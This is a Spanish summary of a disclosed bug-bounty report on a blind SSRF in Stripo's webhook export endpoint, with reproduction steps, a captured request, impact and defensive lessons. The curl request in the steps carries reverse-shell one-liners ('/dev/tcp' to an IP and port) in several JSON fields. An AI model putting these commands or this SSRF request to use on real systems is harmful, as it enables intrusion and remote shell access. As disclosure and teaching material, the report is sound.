Reports
CRÍTICA[SSRF]#2932960

SSRF ciego en Stripo: la exportación a webhook enviaba peticiones del servidor a cualquier URL

El servicio de exportación de my.stripo.email aceptaba cualquier dirección en el campo webhookUrl, sin filtrar, y hacía que su propio servidor enviase peticiones HTTP a la URL que eligiera el usuario.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Stripo, el editor de plantillas de correo de my.stripo.email, permite exportar un mensaje a servicios externos como Zapier o a un webhook propio. Para ello se crea una "cuenta" de exportación de tipo WEBHOOK, y en ella se guarda la dirección a la que Stripo enviará el contenido.

El investigador odaysec comprobó que el endpoint que gestiona esas cuentas no ponía ningún límite al parámetro webhookUrl:

/bapi/exportservice/v3/exports/WEBHOOK/accounts/<id>

Cualquier URL que se escribiera ahí acababa recibiendo una petición POST salida de los servidores de Stripo. Es un SSRF ciego (Blind SSRF): el servidor hace la petición, pero el atacante no ve la respuesta en la aplicación, solo puede observar que la petición llega. El fallo se reportó el 13 de enero de 2025 con severidad crítica, quedó resuelto y se divulgó el 1 de diciembre de 2025.

El reporte también menciona que el campo admitía caracteres de control y que no se filtraban rutas como webhook/email.tar.gz, aunque no lo desarrolla más.

Pasos de reproducción

  1. Iniciar sesión en my.stripo.email y abrir un correo en el editor (en la prueba, https://my.stripo.email/editor/v5/1529528/email/8891640).
  2. Preparar un servidor que registre las peticiones que recibe. El investigador usó un túnel de ngrok.
  3. Enviar al endpoint de cuentas de exportación un JSON con destination igual a WEBHOOK, webhookType igual a CUSTOM y, en webhookUrl, la dirección de ese servidor. En la prueba original, los campos de texto (name, accountName, las cabeceras personalizadas y la ruta de la URL) se rellenaron con cadenas de reverse shell, para ver cómo las trataba el servidor:
curl -i -X POST 'https://my.stripo.email/bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412' \
--data '{
  "id": 52027412,
  "name": "sh -i & devtcp192.168.100.3 0&1",
  "oAuthRequired": false,
  "authLink": null,
  "draft": false,
  "destination": "WEBHOOK",
  "properties": {
    "headers": [
      {
        "name": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1",
        "value": "sh -i >& /dev/tcp/192.168.100.3/9001 0>&1"
      }
    ],
    "accountName": "sh -i & devtcp[REDACTADO].ngrok-free.app9001 0&1",
    "webhookUrl": "https://[REDACTADO].ngrok-free.app/sh -i & devtcp[REDACTADO].ngrok-free.app9001 0&1",
    "webhookType": "CUSTOM"
  },
  "public": false
}'

La misma petición, vista en Burp Suite (con el mismo cuerpo JSON):

POST /bapi/exportservice/v3/exports/WEBHOOK/accounts/52027412 HTTP/1.1
Host: my.stripo.email
Content-Type: application/json
Content-Length: 457
  1. Cuando la aplicación procesa la cuenta, el servidor propio recibe una petición enviada por el backend de Stripo, un cliente Java (Apache-HttpClient/4.5.14, Java 21), con la ruta del webhookUrl codificada como URL:
POST /webhook/sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.3%2F9001%200%3E%261/ HTTP/1.1
Host: [REDACTADO].ngrok-free.app
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.5)
Content-Length: 104
Accept: application/json
Accept-Encoding: gzip,deflate
Traceparent: 00-58ae5f178436f516dfed5bcabe66e0a4-6f1c4d73cae918b9-00
X-Forwarded-For: 54.247.167.106
X-Forwarded-Host: [REDACTADO].ngrok-free.app
X-Forwarded-Proto: https

Con eso queda demostrado que el servidor de Stripo se conecta a la dirección que el usuario elija. Las cadenas de reverse shell llegan solo como texto codificado dentro de la ruta: la prueba no muestra que se ejecutaran.

Impacto

La prueba solo demuestra peticiones salientes hacia un servidor externo controlado por el investigador. Según el reporte, el mismo mecanismo podría usarse para:

  • Hacer que el servidor consulte servicios internos o restringidos que no son accesibles desde Internet, como los metadatos de la nube o APIs internas, saltándose las restricciones de red.
  • Escanear puertos (el reporte lo menciona sin más detalle).
  • Encadenarlo con otros fallos para obtener metadatos sensibles o llegar a ejecutar comandos.

El reporte no incluye ninguna prueba de acceso a recursos internos ni de ejecución de comandos.

Remediación

El reporte figura como resuelto en HackerOne, pero no explica qué cambió Stripo.

Qué aprender de este caso

  • Las integraciones de "exportar a webhook" o "conectar con Zapier" son un buen sitio para buscar SSRF: cualquier campo en el que el usuario escriba una URL y luego sea el servidor quien hace la petición (aquí, webhookUrl en /exportservice/v3/exports/WEBHOOK/accounts) merece probarse con un servidor propio que registre las peticiones entrantes.
  • En un SSRF ciego, la petición que llega al servidor del atacante da mucha información: cabeceras como User-Agent: Apache-HttpClient/... (Java/...) o X-Forwarded-For revelan la tecnología y la IP de salida del backend, algo útil para valorar hasta dónde se puede llegar.
  • Si una aplicación envía webhooks a URLs de usuarios, conviene resolver el nombre antes de conectar, rechazar direcciones privadas, de loopback y de metadatos (169.254.169.254), y hacer las peticiones desde una red aislada sin acceso a la infraestructura interna.
  • Que un campo de URL acepte espacios o caracteres de control sin quejarse, como en este caso, indica que no se valida su formato. Validar la URL completa (esquema, host y ruta) antes de guardar la cuenta corta tanto el SSRF como las inyecciones en la ruta.